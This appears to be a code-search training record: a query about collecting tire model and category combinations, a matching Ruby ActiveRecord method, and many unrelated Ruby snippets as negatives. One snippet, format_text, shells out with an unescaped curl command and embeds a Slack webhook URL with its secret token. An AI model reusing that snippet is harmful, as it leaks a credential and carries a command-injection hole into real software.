"def process_anim_emoji(c, pos)\n text_width = 24\n letter = Sprite_TextAnim.new(self.viewport)\n icon_bitmap = Cache.system(\"Emoji\")\n bitmap = Bitmap.new(24, pos[:height])\n rect = Rect.new(c % 16 * 24, c / 16 * 24, 24, 24)\n bitmap.blt(0, 0, icon_bitmap, rect)\n letter.bitmap = bitmap\n letter.x = pos[:x] + self.standard_padding\n letter.y += WiggleText::DROP_HEIGHT if WiggleText::DROP_IN\n letter.y = self.y + standard_padding + pos[:y]\n letter.z = self.z + 10\n letter.anim_offset = @animchars.size\n letter.anim_type = @anim_type\n tuckie_extra(letter)\n letter.update\n #bitmap.draw_text(0, 0, text_width * 2, pos[:height], c)\n @animchars.push(letter)\n pos[:x] += text_width\n end",
"def admin_emoji_list(options = {})\n if block_given?\n Pagination::Cursor.new(self, :admin_emoji_list, options).each do |page|\n yield page\n end\n else\n post('admin.emoji.list', options)\n end\n end",
"def index\n @xemojis = XemojisForUserService.new({user: @user}).call\n end",
"def convert_to_tweet\n message = \"#{@content.gsub(\"\\n\", \" \")}\"\n\n # When do not have a unique icon, add character name\n if Wa2Bot::Character::ICONS[:defalut].include? @char.icon\n message = \"#{@char.lastname}: #{message}\"\n end\n\n return @char.icon, message\n end",
"def render_ansi\n qrcode.as_ansi if valid?\n end",
"def scrape_emoji_page(url)\n body = @agent.get(clean_url(url)).body\n { unicode: body.scan(/U\\+[\\w\\d]{4,6}/),\n shortcodes: body.scan(/\\:[\\w\\_\\-\\d]+:/) }\n end",
"def to_s(options = {})\n options.reverse_merge!(\n 'show_zero_score' => true,\n 'position' => true,\n 'position_roman' => false,\n 'fouls' => false,\n 'score' => false,\n 'nest' => true,\n 'role' => true\n )\n role_emoji = {\n 'don' => '👆🏻',\n 'mafia' => '👎🏻',\n 'putain' => '🤘🏻',\n 'citizen' => '👍🏻',\n 'doctor' => '🤞🏻',\n 'maniac' => '✊🏻',\n 'comissar' => '👌🏻',\n nil => ''\n }\n role_emoji = {\n 'don' => Emoji.find_by_alias('rose').raw,\n 'mafia' => '👎🏻',\n 'putain' => Emoji.find_by_alias('kiss').raw,\n 'citizen' => ' '.nest,\n 'doctor' => '🤞🏻',\n 'maniac' => Emoji.find_by_alias('dagger').raw,\n 'comissar' => '👌🏻',\n nil => ''\n }\n # Emoji.find_by_unicode(\"\\u{1f91e}\").raw\n fouls_char = '|'\n pending_fouls_char = 'x'\n str = ''\n if options['score']\n str += if options['show_zero_score'] || !score.zero?\n (score.to_circled + ' ').nest\n else\n ' '.nest\n end\n end\n str += role_emoji[role] if options['role']\n if options['position']\n str += if options['position_roman']\n position.to_roman + ' '\n else\n position.to_s + ' '\n end\n end\n str += user.to_s(options)\n if options['fouls']\n if game.aasm_state == 'game'\n fouls.times { str += fouls_char }\n else\n user.pending_fouls.times { str += pending_fouls_char }\n end\n end\n str\n end",
"def display\n type == :pawn ? \"\\u2727\" : \"\\u272A\" # ✧ / ✪ - Ⓞ Ⓚ ⓵\n end",
"def starred\n '★'\n end",
"def character\n system(\"clear\")\n a = Artii::Base.new :font => 'slant'\n puts a.asciify('Fantasy Final')\n sleep(5)\n end",
"def get_data; @data = Emoji.elements; end",
"def pe(*args)\n @caller_path = caller\n return display_emoji_break if args.empty?\n extra_print(args[0], args[1])\n return_value(args[0])\nend",
"def emoji(year)\n int_year = validate_year(year)\n HASH[name(int_year)]\n end",
"def text_repr\n return char if lexeme.nil?\n\n lexeme.dup\n end",
"def ep(*args)\n @caller_path = caller\n return display_emoji_break if args.empty?\n extra_print(args[0], args[1])\n return_value(args[0])\nend",
"def display_answer\n \"Answer: #{answer.join(' | ')}\"\n end",
"def index\n @natulangs = Natulang.all\n\n @text = History.last.content\n\n @msg = Moji.type(\"漢\")\n \n nlp = NLP.new()\n \n #@msg = nlp.cut_morph(@text)\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @natulangs }\n end\n end",
"def add_result(res)\n change_cursor { |c|\n saved_format = c.char_format # moving changes char format\n c.move_position document.character_count - 1\n c.char_format = saved_format\n\n ANSIToQt.insert(c, res)\n }\n end",
"def start_accepting\n super\n\n @res = [\"\\e[0m\"]\n end",
"def questionAnswerHtml(question)\n correct = questionCorrect question\n text = questionAnswer question\n return '' if text == nil\n \n shortText = truncate text, 30\n\n return text if correct == nil\n return \"<font color=\\\"ff0000\\\">#{shortText}</font>\" unless correct\n return \"<font color=\\\"009900\\\">#{shortText}</font>\" \nend",
"def pointOf emoji\n emoji.split(\"\")\n .map {|s| s.ord.to_s(16)}\n .join(\"-\")\nend",
"def render_option(result, index)\n color = index == selected_row ? 255 : 234\n bg_color = index == selected_row ? 25 : 255\n\n extra_padding = \" \" * (width_of_suggestions - result.length)\n text = \" #{result}#{extra_padding} \"\n target_spacing = spacing + extra_spacing\n\n diff = Hedgehog::Terminal.columns - (target_spacing + text.length)\n\n actual_spacing = target_spacing\n actual_spacing = actual_spacing + diff if diff < 0\n\n print(\"\\n\")\n print \"\\e[0G\"\n print(\" \" * [actual_spacing, 0].max)\n print(str_with_color(text, color: color, bg_color: bg_color))\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def single_character_display\n SINGLE_CHARACTER\n end",
"def to_char(color = false)\n if failure?\n color ? \"\\e[35mF\\e[0m\" : 'F'\n else\n color ? \"\\e[31mE\\e[0m\" : 'E'\n end\n end",
"def renderResult(result)\n\t\thas_keys = result.has_key?(:type) and result.has_key?(:result)\n\t\treturn \"Error processing input\" if !has_keys or result[:type] == 'error' or result[:type].nil?\n\t\treturn result[:result] if result[:result].is_a?(String)\n\t\treturn result[:result].join(\" \") if result[:result].is_a?(Array)\n\n\t\treturn \"Error processing result\"\n\tend",
"def ✘\n \"{r{✘}}\"\n end",
"def instruction_message\n puts \"\\nMASTERMIND is a color guessing game where the computer generates a \\\nrandom string of four characters representing the base colors #{\"(r)ed\".red}, \\\n#{\"(g)reen\".green}, #{\"(b)lue\".blue}, and/or #{\"(y)ellow\".yellow}. \\\nThe intermediate difficulty level is six characters and adds \\\n#{\"(m)agenta\".magenta} and the advanced difficulty level is eight characters \\\nand adds #{\"(c)yan\".cyan}. \\\nThe string is only guaranteed to contain one color. The player must submit \\\nguesses to try to find the generated combination. Guesses are not case sensitive.\"\n\n puts \"\\nEnter #{\"(p)lay\".green}, #{\"(i)nstructions\".yellow} or #{\"(q)uit\".red}\"\n end",
"def include_emoji?(text)\n text && text[/:\\S+:/]\n end",
"def to_emojipacks_yaml(raw_emoticon_response)\n result_hash = {\n 'title' => @twitch_channel,\n 'emojis' => []\n }\n raw_emoticon_response.each do |e|\n result_hash['emojis'] << { 'name' => e[:regex].downcase, 'src' => e[:url] }\n end\n result_hash.to_yaml\n end",
"def to_s\n cont = 97 #Corresponde al char 'A'\n\t result = text + \"\\n\"\n\t answers.each{|i| result += cont.chr + \") \" + i.to_s + \"\\n\"; cont+=1}\n\t return result\n end",
"def success(msg)\n tell \"#{✔} {g{#{msg}}}\"\n end",
"def to_ascii(width_multiplier = 2)\n output = ''\n present.each_index do |i|\n output << present[i] * width_multiplier\n output << \"\\n\" if (i + 1) % @width == 0\n end\n output\n end",
"def format_text(result)\n nomes_finais = ''\n if result.length == 1\n nomes_finais+= result[0][0] + ' ' + result[0][1]\n birthday_phrase = '\"A jeKnowledge deseja-te um feliz aniverário ' + nomes_finais + ' continua o bom trabalho!!!\"'\n else\n nomes_finais = ''\n index = 0\n result.each do |nomes|\n if index <= result.length - 1\n nomes_finais += nomes[0] + ' ' + nomes[1]+', '\n else\n nomes_finais += nomes[0] + ' ' + nomes[1]\n end\n index+= 1\n end\n birthday_phrase = '\"A jeKnowledge deseja um feliz aniverário a: ' + nomes_finais + ' continuem o bom trabalho!!!\"'\n end\n initword='curl -X POST --data-urlencode \\'payload={\"channel\": \"#birthday_test\", \"username\": \"jk_birthdayBot\", \"text\": '\n resultado= initword + birthday_phrase + ', \"icon_emoji\": \":ghost:\"}\\' https://hooks.slack.com/services/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'\n system(resultado)\n puts \"\\nMessage sent!\"\n sleep(60)\n end",
"def negative_emoji\n %w[cancel caution frown thumbsdown siren].sample\n end",
"def _reduce_13(val, _values, result)\n content = val[1]\n result = inline \"<em>#{content}</em>\", content\n\n result\nend",
"def to_s\n cont = 97\n\t result = text + \"\\n\"\n\t answers.each{|i| result += cont.chr + \") \" + i + \"\\n\"; cont+=1}\n\t return result\n end",
"def notify_adding_emoji(emoji_name)\n @websocket_connection.send(\n {\n type: 'message',\n text: \"New Emojis Published! :#{emoji_name}:\",\n channel: @bot_notification_channel\n }.to_json\n )\n end",
"def render(output)\n @parsed ||= Array(output).flatten.map do |char|\n Esc.escape(char.to_s) + \"\\n\"\n end.join\n end",
"def ✘\n colorize(\"✘\", :red)\n end",
"def products_ascii\n\t \" _ _ \\n\" +\n\t \" | | | | \\n\" +\n\t \" _ __ _ __ ___ __| |_ _ ___| |_ ___ \\n\" +\n\t \"| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\\n\" +\n\t \"| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\\n\" +\n\t \"| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\\n\" +\n\t \"| | \\n\" +\n\t \"|_| \"\nend",
"def add_emoji(auth, server_id, image, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis,\n server_id,\n :post,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis\",\n { image: image, name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def find_emoji(name)\n LOGGER.out(\"Resolving emoji #{name}\")\n emoji.find { |element| element.name == name }\n end",
"def encode_char(immune,input)\n return input if immune.include?(input)\n return input if hex(input).nil?\n return \"#{@escape_char}#{input}\"\n end",
"def text\n respond_to?(:answerText) ? answerText : ''\n end",
"def inspect\n if options & NO_ENCODING == 0\n original_inspect\n else\n original_inspect << 'n'\n end\n end",
"def admin_emoji_remove(options = {})\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.remove', options)\n end",
"def welcome_message\r\n system(\"clear\")\r\n a = Artii::Base.new :font => 'slant'\r\n puts a.asciify('Make 10').colorize(:white).on_green\r\n puts (\"This app can find solutions for the game Make 10.\")\r\n end",
"def unicode_text(pdf, str, options={})\n pdf.text(e(\"\\xfe\\xff#{str}\", :encoding => 'UTF-16BE'), options) # start Unicode UTF-16BE encoding\n end",
"def render_peg(peg)\n if peg == 6\n print \"\\e[47m\\e[30m #{peg} \\e[0m\"\n else\n print \"\\e[4#{peg}m #{peg} \\e[0m\"\n end\n end",
"def plain_text\n self.gsub(/\\e\\[[0-9]m|\\e\\[[34][0-7]m/, '')\n end",
"def to_thing\n return GLYPHMAP[[char, color, style]] || :unknown\n end",
"def view\n\t\t@white_symbols = {\n\t\t\t\"king\" => \"\\u265a\", \n\t\t\t\"queen\" => \"\\u265b\", \n\t\t\t\"rook\" => \"\\u265c\", \n\t\t\t\"bishop\" => \"\\u265d\", \n\t\t\t\"knight\" => \"\\u265e\", \n\t\t\t\"pawn\" => \"\\u265f\"\n\t\t}\n\n\t\t@black_symbols = {\n\t\t\t\"king\" => \"\\u2654\",\n\t\t\t\"queen\" => \"\\u2655\",\n\t\t\t\"rook\" => \"\\u2656\",\n\t\t\t\"bishop\" => \"\\u2657\",\n\t\t\t\"knight\" => \"\\u2658\",\n\t\t\t\"pawn\" => \"\\u2659\"\n\t\t}\n\n\t\tif self.color == nil\n\t\t\treturn \" \"\n\t\telsif self.color == \"black\"\n\t\t\treturn @black_symbols[self.name]\n\t\telse\n\t\t\treturn @white_symbols[self.name]\n\t\tend\n\tend",
"def questionAnswerHtml(question)\n correct = questionCorrect question\n text = questionAnswer question\n\n return text if correct == nil\n return \"<font color=\\\"ff0000\\\">#{text}</font>\" unless correct\n return \"<font color=\\\"009900\\\">#{text}</font>\" \nend",
"def emoji_image_filter(text)\n return text unless text.include?(':')\n\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<img class='emoji' title=':#{name}:' alt=':#{name}:' src='#{emoji_url(name)}' height='20' width='20' align='absmiddle' />\"\n end\n end",
"def random_face_emoji\n %w[cool goofy monocle sly smile think].sample\n end",
"def ascii_products\n\" _ _ \n | | | | \n _ __ _ __ ___ __| |_ _ ___| |_ ___ \n| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\n| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\n| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\n| | \n|_| \"\n\tend",
"def format_results(results, color=true)\n UD::Formatting.text(results, color)\n end",
"def to_text(element, default)\n begin\n return @iconv.iconv(element.content + ' ')[0..-2]\n rescue\n Rails.logger.debug \"return #{default}\"\n return default\n end\n end",
"def reset_character\n Vedeu::Cells::Escape.new(value: Vedeu.esc.reset)\n end",
"def fancy_newline\n @results += '|'\n newline\n end",
"def render_result(str)\n @contents << str\n end",
"def format_result(result)\n RMeetup::Type::EventSingle.new(result)\n end",
"def red(msg)\n \"\\033[31m#{msg}\\033[39m\"\nend",
"def to_char(color = false)\n if success?\n color ? \"\\e[32m.\\e[0m\" : '.'\n else\n color ? \"\\e[33mI\\e[0m\" : 'I'\n end\n end",
"def firecracker\n 100.times do |i|\n print '💥'.center(8)\n end\nend",
"def encoder(user_digits, recipient_digits, user_text)\n base_letters = [*'a'..'z', *'0'..'9', *'A'..'Z'].to_a\n first_text =\" \"\n encode_text = \" \"\n #first encode with users phone digits\n user_text.each_char do |letter|\n if letter == \" \"\n first_text += \" \"\n else \n begin\n base_index = base_letters.find_index(letter)\n new_index = ( base_index + user_digits ) % base_letters.count\n first_text += base_letters[new_index]\n rescue \n puts \"Ignored invalid character.\"\n end\n end\n \n end\n #second encode with recipients phone digits\n first_text.each_char do |letter|\n if letter == \" \"\n encode_text += \" \"\n else \n base_index = base_letters.find_index(letter)\n new_index = ( base_index - recipient_digits ) % base_letters.count\n encode_text += base_letters[new_index]\n end\n \n end\n return encode_text.colorize(:red)\n end",
"def to_s\n rval = \"\"\n rval += \" pesa #{@peso} kilos , mide #{@altura} metros, tiene #{@edad} años y es\"\n if(sexo == 1)\n rval+= \" un hombre\"\n else\n rval+= \" una mujer\"\n end\n rval\n end",
"def ansi_to_html(string); end",
"def plain_output(message, color)\n if @options['without-color']\n puts message\n else\n puts Colorize.send(color, message)\n end\n end",
"def admin_emoji_addAlias(options = {})\n raise ArgumentError, 'Required arguments :alias_for missing' if options[:alias_for].nil?\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.addAlias', options)\n end",
"def escape_ansi_to_html(data)\n {1 => :nothing,\n 2 => :nothing,\n 4 => :underline,\n 5 => :nothing,\n 7 => :nothing,\n 30 => :black,\n 31 => :red,\n 32 => :green,\n 33 => :yellow,\n 34 => :blue,\n 35 => :magenta,\n 36 => :cyan,\n 37 => :white,\n 39 => :bold,\n 40 => :nothing\n }.each do |key, value|\n if value != :nothing\n data.gsub!(/\\e\\[#{key}m/, \"<span class=\\\"#{value}\\\">\")\n else\n data.gsub!(/\\e\\[#{key}m/, \"<span>\")\n end\n end\n data.gsub!('[39;1m', '')\n data.gsub!(/\\e\\[0m/, '</span>')\n data\n end",
"def render_result(str)\n @response.write(str)\n end",
"def wrap_result(text)\n \"<q>#{text}</q>\"\n end",
"def to_s\n if self.color == :white\n \" ♜ \"\n else\n \" ♖ \"\n end\n end",
"def text!\n @grpc.type = :PLAIN_TEXT\n end",
"def render_to_string(*)\n result = super\n if result.respond_to?(:each)\n string = +\"\"\n result.each { |r| string << r }\n string\n else\n result\n end\n end",
"def disp_greet\n case self.address\n when \"沖縄\"\n \"ゆたしくうにげーさびら\"\n when \"福岡\"\n \"よろしゅうお願いするけんね\"\n when \"京都\"\n \"よろしく頼んまっせ\"\n when \"大阪\"\n \"よろしゅう頼んまっせ\"\n else\n \"よろしくお願いします\"\n end\n end"
] |
[
"0.7086658",
"0.6013211",
"0.5942271",
"0.59170234",
"0.58520955",
"0.5789691",
"0.57489485",
"0.56702167",
"0.56276166",
"0.5481399",
"0.5461501",
"0.54057574",
"0.5359345",
"0.5331856",
"0.53045225",
"0.52942723",
"0.5279001",
"0.5276611",
"0.52535856",
"0.5245185",
"0.52387416",
"0.52260876",
"0.5202057",
"0.51879466",
"0.5165448",
"0.5153596",
"0.51325595",
"0.50985974",
"0.50718814",
"0.5065914",
"0.50588924",
"0.5053568",
"0.5042022",
"0.50209254",
"0.49908772",
"0.49744126",
"0.49708578",
"0.49691787",
"0.491283",
"0.48996872",
"0.48995203",
"0.4892242",
"0.48884118",
"0.48884118",
"0.48884118",
"0.48884118",
"0.48864025",
"0.4879787",
"0.4876152",
"0.48621288",
"0.48618472",
"0.4841322",
"0.48096254",
"0.4785065",
"0.47706664",
"0.4768415",
"0.47667608",
"0.47628665",
"0.47567126",
"0.4749232",
"0.47437683",
"0.47421265",
"0.47391894",
"0.47348943",
"0.47306865",
"0.47257885",
"0.4709565",
"0.4708408",
"0.4702311",
"0.46949527",
"0.46900907",
"0.468445",
"0.46835548",
"0.46759444",
"0.46743292",
"0.46712828",
"0.46626702",
"0.46584773",
"0.46575415",
"0.46526408",
"0.4647588",
"0.46460587",
"0.4642803",
"0.46351472",
"0.46300125",
"0.46273386",
"0.46206397",
"0.4618607",
"0.4616238",
"0.46142876",
"0.4606568",
"0.46050614",
"0.45998156",
"0.45981804",
"0.45953384",
"0.459267",
"0.45925945",
"0.4589143",
"0.4584083",
"0.45830658"
] |
0.6381777
|
1
|
Collect all distinct tire model / tire category combinations for this brand Tire models are allowed to appear under more than one category
|
def get_all_tire_categories
cats = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id',
'INNER JOIN tire_categories ON tire_models.tire_category_id = tire_categories.id')
.where(tire_manufacturer_id: self.id)
.select('DISTINCT tire_model_infos.id, tire_model_infos.tire_model_name, tire_categories.id AS "category_id", tire_categories.category_name AS "category_name"')
.order('tire_categories.id ASC, tire_model_infos.tire_model_name ASC')
result = Hash.new
cats.each do |c|
cat_id = c[:category_id]
result[cat_id] = {:category_name => c[:category_name], :models => []} if result[cat_id].nil?
result[cat_id][:models] << {:id => c.id, :name => c.tire_model_name}
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_all_tgp_tire_categories\n models = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id')\n .where(tire_manufacturer_id: self.id).where('tgp_category_id IS NOT NULL')\n .select('DISTINCT tire_model_infos.id, tire_model_infos.tire_model_name, tire_models.tgp_category_id AS \"category_id\"')\n .order('tire_model_infos.tire_model_name ASC')\n names = TireModel.tgp_categories\n result = Hash.new\n models.each do |m|\n cat_id = m[:category_id].to_i\n if cat_id != 0 && names[cat_id]\n result[cat_id] = {:category_name => names[cat_id], :models => []} if result[cat_id].nil?\n result[cat_id][:models] << {:id => m.id, :name => m.tire_model_name}\n end\n end\n result.sort\n end",
"def retrieve_distinct_categories\n if @distinct_categories\n categories = @distinct_categories\n else\n categories = []\n @team.season_types.each do |season_type|\n season_type.seasons.sort_season_by_begin_date\n .last\n .category_types.are_not_relays\n .sort_by_age.each do |category_type|\n categories << category_type unless categories.rindex { |e| e.code == category_type.code }\n end\n end\n end\n categories\n end",
"def categories\n @transactions.empty? ? nil : @transactions.delete_if{ |t| t.category.nil? }.collect(&:category).uniq\n end",
"def get_categories_to_split\n categories_to_split = []\n @distinct_categories.each do |category_type|\n categories_to_split << category_type if category_needs_split?(category_type)\n end\n categories_to_split\n end",
"def extract_categories cats\n cats.inject Hash.new do |hash, tag|\n\n # iterate through groups if the tag belongs to multiple\n tag[\"groups\"].each do |group|\n name = group[\"name\"]\n hash[name] ||= []\n hash[name] << tag[\"name\"]\n end\n hash\n end\n end",
"def get_categories_with_records(pool_type, gender_type, team_distinct_best)\n valid_categories = []\n @distinct_categories.each do |category_type|\n valid_categories << category_type if team_distinct_best.has_record_for?(pool_type.code, gender_type.code, nil, category_type.code)\n end\n valid_categories.sort { |n, p| n.age_begin <=> p.age_begin }\n end",
"def myp_criteria\n #self.objectives.collect(&:criterion).uniq.collect(&:category).join(\", \")\n criterions.collect(&:category).join(\", \")\n end",
"def category_sets(category)\n category.curriculum_category_sets.map do |category_set|\n complete[category][category_set] = category_set.courses & taken_courses\n\n get_incomplete_from_set(category, category_set)\n end\n end",
"def categorize(elt2category, unknown=nil)\n categories = Hash.new { |h,k| h[k] = [] }\n self.each do |elt|\n if elt2category.include? elt\n categories[elt2category[elt]] << elt \n elsif unknown\n categories[unknown] << elt\n end\n end\n categories\n end",
"def categories\n categories = []\n @deck.cards.map do |turn|\n categories << turn.category\n end\n categories.uniq!\n end",
"def kata_user_categories\n kataUserCategories = []\n survived_reviews.each do |review|\n review.category_ids.each {|category_id| kataUserCategories << category_id}\n end\n kataUserCategories.uniq\n end",
"def all_matching_categories(categories)\n cross_version_category_mapping\n .select { |key, _value| categories.include?(key) }\n .values\n .flatten\n .uniq\n end",
"def criterions\n objectives.collect(&:criterion).uniq.sort{|a,b| a.category <=> b.category}\n end",
"def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end",
"def chosen_categories\n return chosen_options.collect &:category\n end",
"def categories_by_taxonomy\n\n self.categories.inject({}) do |result, category|\n \n if result.has_key?(category.taxonomy.id.to_sym)\n result[category.taxonomy.id.to_sym] << category\n else\n result[category.taxonomy.id.to_sym] = [category]\n end\n \n result \n end \n\n end",
"def find_season_type_category_codes\n CategoryType.are_not_relays.is_divided.for_season_type(@season.season_type)\n .for_season(@season)\n .sort_by_age\n .pluck(:code).uniq\n end",
"def categories_for(race)\n [ race.category ] + race.category.descendants\n end",
"def categories\n stories.map(&:category).delete_if {|c| c.nil? or c.global}.uniq\n end",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def all_technologies_list\n ActsAsTaggableOn::Tagging.includes(:tag).where(context: 'technologies').map{|tagging| tagging.tag.name}.uniq.sort_by!(&:downcase)\n end",
"def products_brands(products)\n products.map{|product| product['brand']}.uniq\nend",
"def potential_categories\n if categories.length > 0\n Category.all(:conditions => \"id NOT IN (#{category_ids})\")\n else\n Category.all\n end\n end",
"def categories\n @categories = FinanceTransactionCategory.all(:conditions => {:deleted => false}, :order => 'name asc')\n @categories = @categories.select { |x| x.accessible? }\n @category_ids = @categories.map { |cat| cat.id if FinanceTransaction.find_by_category_id(cat.id).present? }.compact\n @multi_config = FinanceTransactionCategory.get_multi_configuration\n @fee_category_present = FinanceFeeCategory.first\n # @fixed_categories = @categories.reject { |c| !c.is_fixed }\n # @other_categories = @categories.reject { |c| c.is_fixed }\n end",
"def clean_up_unused_categories!\n empty_category_codes = []\n @category_types.each do |category_type|\n record_found = 0 # Let's count how many records there are for this category:\n @pool_types.each do |pool_type|\n @gender_types.each do |gender_type|\n next unless @event_types_by_pool.key?(pool_type.id)\n\n @event_types_by_pool[pool_type.id].each do |event_type|\n record_found += 1 if @collector.collection.has_record_for(@record_type_code, pool_type.code, event_type.code, category_type.code, gender_type.code)\n end\n end\n end\n empty_category_codes << category_type.code if record_found == 0\n end\n # Remove unused cateogories:\n @category_types = @category_types.delete_if { |category_type| empty_category_codes.include?(category_type.code) }\n end",
"def related_tag_categories\n @related_tag_categories ||= {\n GENERAL => [GENERAL],\n ARTIST => [COPYRIGHT, CHARACTER, GENERAL],\n CHARACTER => [COPYRIGHT, CHARACTER, GENERAL],\n COPYRIGHT => [COPYRIGHT, CHARACTER, GENERAL],\n META => [META, GENERAL]\n }\n end",
"def find_categories\n categories = @deck.cards.group_by do |card|\n card.category\n end\n categories.keys\n end",
"def water_types\n self.waters.map{|water| water.water_type.category}.uniq.sort\n end",
"def cities \n galleries.map{|g| g.city}.uniq\n end",
"def categories\n category_keys.collect(&:to_s)\n end",
"def categories_given_items(items)\n\n categorized_items = Array.new\n\n items.each{ |item|\n sub_array = categorized_items.detect{ |sub_item_array| sub_item_array[0].name == item.name }\n if sub_array != nil\n sub_array.push(item)\n else\n new_sub_array = Array.new\n new_sub_array.push(item)\n categorized_items.push(new_sub_array)\n end\n }\n categorized_items\n end",
"def skittle_combos(skittles)\n two_flavor_array = Array.new\n skittles.each do |el1|\n skittles.each do |el2|\n if el1 != el2\n two_flavor_array.push([el1, el2].sort)\n end\n end\n end\n two_flavor_array.uniq.sort\nend",
"def terms\n @data.map(&:uniq).flatten\n end",
"def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end",
"def ffck_categories_detailed()\n ['Pitchoun', 'Poussin 1', 'Poussin 2', 'Benjamin 1', 'Benjamin 2', 'Minime 1', 'Minime 2', 'Cadet 1', 'Cadet 2',\n 'Junior 1', 'Junior 2', 'Senior', 'Veteran 1', 'Veteran 2', 'Veteran 3', 'Veteran +', 'Inconnu']\n end",
"def get_sets\n result = []\n (0..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 3)).each do |a|\n ((a + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 2)).each do |b|\n ((b + 1)..(TAILLE_TAPIS + TAILLE_EXT*self.etendu - 1)).each do |c|\n if (is_a_set?([self.talon[self.tapis[a]], self.talon[self.tapis[b]], self.talon[self.tapis[c]]]))[0]\n result << [a, b, c]\n end\n end\n end\n end\n result\n end",
"def all_selectable_materials\n categories = Category.order(\"depth ASC \")\n \n # MATERIAL = {\n # :steel => {\n # :value => 1, \n # :name => \"Steel\" \n # } ,\n # :copper => {\n # :value => 2, \n # :name => \"Tembaga\"\n # }, \n # :alumunium => {\n # :value => 3, \n # :name => \"Aluminium\"\n # }\n # }\n # \n \n result = []\n MATERIAL.each do |material| \n result << [ \"#{category.name}\" , \n category.id ] \n end\n return result\n end",
"def items_by_categories\n set_parts = {}\n\n categories.each do |category|\n set_parts[category] = suitable_items.select do |item|\n item.category == category\n end\n end\n\n set_parts\n end",
"def _get_keywords_set_int_v_1_55()\n \n result = []\n \n genre_int = Genre.find(:all, :conditions => {:code => 'int'})[0]\n \n categories = Category.find(:all, :conditions => {:genre_id => genre_int.id})\n \n #debug\n if categories != nil\n \n write_log(\n @log_path,\n \"categories.size => #{categories.size}\", \n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n else\n write_log(\n @log_path,\n \"categories => nil\", \n # __FILE__,\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s) \n end\n \n if categories != nil and categories.size > 0\n \n kws1 = KeyWordSet.new\n kws1.category = 'China'\n kws1.keywords = '中国 日中'\n \n kws2 = KeyWordSet.new\n kws2.category = 'Europe'\n # kws2.keywords = '米国 アメリカ'\n kws2.keywords = '欧州 イギリス ドイツ フランス ロシア'\n \n result.push(kws1)\n result.push(kws2)\n \n else\n \n kws1 = KeyWordSet.new\n kws1.category = 'China'\n kws1.keywords = '中国 日中'\n \n kws2 = KeyWordSet.new\n kws2.category = 'US'\n # kws2.keywords = '米国 アメリカ'\n kws2.keywords = '米国 アメリカ オバマ 米選挙'\n \n result.push(kws1)\n result.push(kws2)\n \n end\n \n \n return result\n \n end",
"def mechanics\n Mechanic.all.select{|mechanic|mechanic.specialty == self.classification}\n end",
"def brands_array\n ($products_hash['items'].map { |toy| toy['brand'] }).uniq\nend",
"def all_categories\n stories.map(&:category).delete_if {|c| c.nil?}.uniq\n end",
"def scan_for_distinct_bests\n team_distinct_best = RecordX4dDAO.new(@team, RecordType.find_by(code: 'TTB'))\n # Cycle between set genders, pools, events and distinct categories\n @gender_types.each do |gender_type|\n @pool_types.each do |pool_type|\n @event_types.each do |event_type|\n @distinct_categories.each do |category_type|\n record = get_team_best_individual_result(gender_type, pool_type, event_type, category_type.code)\n team_distinct_best.add_record(record) if record\n end\n end\n end\n end\n team_distinct_best\n end",
"def all_technologies_list_for_type\n case controller_name\n when \"resources\"\n @model = \"Resource\"\n when \"projects\"\n @model = \"Project\"\n when \"collaborations\"\n @model = \"Collaboration\"\n when \"jobs\"\n @model = \"Job\"\n end\n #need local variable for squeel to work\n model = @model\n ActsAsTaggableOn::Tagging.includes(:tag).where{(taggable_type == model) & (context == 'technologies')}.map{|tagging| tagging.tag.name}.uniq.sort_by!(&:downcase)\n end",
"def applicable_category_filters\n return {} if current_category_level > 3\n facet_name = ProductSearcher::CATEGORY_LEVEL_FACET_MAP[current_category_level + 1]\n facet = self.facets[facet_name.to_sym]\n facet_id_and_count_to_model_and_count(facet, Category).sort{|a,b| b[1] <=> a[1]}[0..19]\n end",
"def terms\n @data.flatten.uniq\n end",
"def categories\n add_to_query restrict_kind: 'category'\n end",
"def category_types\n @category_types.each\n end",
"def club_sets\n super.uniq\n end",
"def asocia_cat_riesgo(especie)\n cat_riesgo = []\n \n especie.catalogos.each do |cat|\n if [2,4].include?(cat.nivel1) && !(Catalogo::EVALUACION + Catalogo::AMBIENTE_EQUIV_MARINO + [\"Riesgo bajo (LR): Dependiente de conservación (cd)\"]).include?(cat.descripcion)\n cat_riesgo << cat.descripcion.estandariza\n end\n end\n\n cat_riesgo.uniq\n end",
"def active_cate_ids\n self.products.group_by(&:cate_id).keys.sort\n end",
"def cities()\n self.galleries().map { | gallery | gallery.city }.uniq\n end",
